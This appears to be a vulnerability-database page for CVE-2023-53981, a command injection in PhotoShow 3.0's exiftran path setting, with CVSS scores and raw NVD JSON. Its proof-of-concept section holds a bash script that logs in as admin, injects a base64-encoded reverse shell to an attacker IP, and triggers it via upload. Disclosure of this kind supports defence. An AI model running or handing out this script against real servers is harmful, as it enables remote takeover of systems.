Security Vulnerability Report
中文
CVE-2023-53981 CVSS 7.2 HIGH

CVE-2023-53981

Published: 2025-12-22 22:16:04
Last Modified: 2025-12-27 17:15:46

Description

PhotoShow 3.0 contains a remote code execution vulnerability that allows authenticated administrators to inject malicious commands through the exiftran path configuration. Attackers can exploit the ffmpeg configuration settings by base64 encoding a reverse shell command and executing it through a crafted video upload process.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:thibaud-rohmer:photoshow:3.0:*:*:*:*:*:*:* - VULNERABLE
PhotoShow 3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2023-53981 PoC - PhotoShow 3.0 RCE via exiftran path injection # Requirements: Valid admin credentials, network access to target TARGET="http://target.com/photoshow" USERNAME="admin" PASSWORD="admin123" ATTACKER_IP="attacker_ip" ATTACKER_PORT="4444" # Step 1: Login as admin echo "[+] Logging in as admin..." SESSION=$(curl -s -c cookies.txt -d "username=$USERNAME&password=$PASSWORD" "$TARGET/login.php" | grep -oP 'PHPSESSID=[^;]+') # Step 2: Generate base64 encoded reverse shell echo "[+] Generating reverse shell payload..." REVERSE_SHELL="bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1" ENCODED_PAYLOAD=$(echo -n $REVERSE_SHELL | base64) # Step 3: Inject malicious exiftran path echo "[+] Injecting malicious exiftran path..." curl -s -b cookies.txt -X POST "$TARGET/admin/settings.php" \ -d "exiftran_path=|echo $ENCODED_PAYLOAD | base64 -d | bash|" # Step 4: Set up listener on attacker machine (before step 5) # nc -lvp $ATTACKER_PORT # Step 5: Upload crafted video to trigger RCE echo "[+] Uploading crafted video to trigger RCE..." curl -s -b cookies.txt -X POST "$TARGET/admin/upload.php" \ -F "video=@malicious_video.mp4" echo "[+] Check your listener for reverse shell!"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53981", "sourceIdentifier": "[email protected]", "published": "2025-12-22T22:16:03.903", "lastModified": "2025-12-27T17:15:45.927", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "PhotoShow 3.0 contains a remote code execution vulnerability that allows authenticated administrators to inject malicious commands through the exiftran path configuration. Attackers can exploit the ffmpeg configuration settings by base64 encoding a reverse shell command and executing it through a crafted video upload process."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thibaud-rohmer:photoshow:3.0:*:*:*:*:*:*:*", "matchCriteriaId": "68D97F48-A38A-42FF-AC95-917A932A8071"}]}]}], "references": [{"url": "https://github.com/thibaud-rohmer/PhotoShow", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://lscp.llc/index.php/2021/07/19/how-white-box-hacking-works-remote-code-execution-and-stored-xss-in-photoshow-3-0/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/51236", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/photoshow-remote-code-execution-via-exiftran-path-injection", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://lscp.llc/index.php/2021/07/19/how-white-box-hacking-works-remote-code-execution-and-stored-xss-in-photoshow-3-0/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}